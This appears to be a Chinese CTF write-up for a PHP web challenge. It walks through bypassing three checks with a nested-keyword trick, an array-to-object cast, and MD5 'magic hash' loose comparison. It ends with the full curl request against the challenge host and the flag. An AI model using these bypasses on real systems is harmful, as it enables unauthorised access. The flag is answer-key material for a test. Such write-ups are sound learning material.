源码泄露了一个入口
http://39.105.213.28:12601/?source=1
拿到关键代码后,可知有三层校验。
第一层:
$filtered = str_replace("key", "", $_GET['step1']);
if ($filtered === "key")
这里利用重叠绕过,构造:
step1=kkeyey
因为:
str_replace("key", "", "kkeyey") === "key"
第二层:
$a = $_POST['a'] ?? null;
$obj_a = (object)$a;
$user_key = $obj_a->key;
if (isset($user_key) && $user_key === "1337")
所以 POST 传:
a[key]=1337
数组转对象后即可满足 $obj_a->key === "1337"。
第三层:
$val_a = $_GET['a'] ?? "";
$val_b = $_GET['b'] ?? "";
if ($val_a !== "" && $val_b !== "" && $val_a !== $val_b) {
if (md5($val_a) == md5($val_b)) {
echo $flag;
}
}
这里是典型 MD5 魔术哈希弱比较,使用:
a=QNKCDZO
b=240610708
对应 md5 为:
md5("QNKCDZO") = 0e830400451993494058024219903391
md5("240610708") = 0e462097431906509019562988736854
两者在 == 比较下都会被当作数字 0,因此条件成立。
最终利用
curl 'http://39.105.213.28:12601/?step1=kkeyey&a=QNKCDZO&b=240610708' \
-X POST \
-d 'a[key]=1337'
Flag
ISCC{kEDVBedpWYPYtNWSEDnwMDcz6}
评论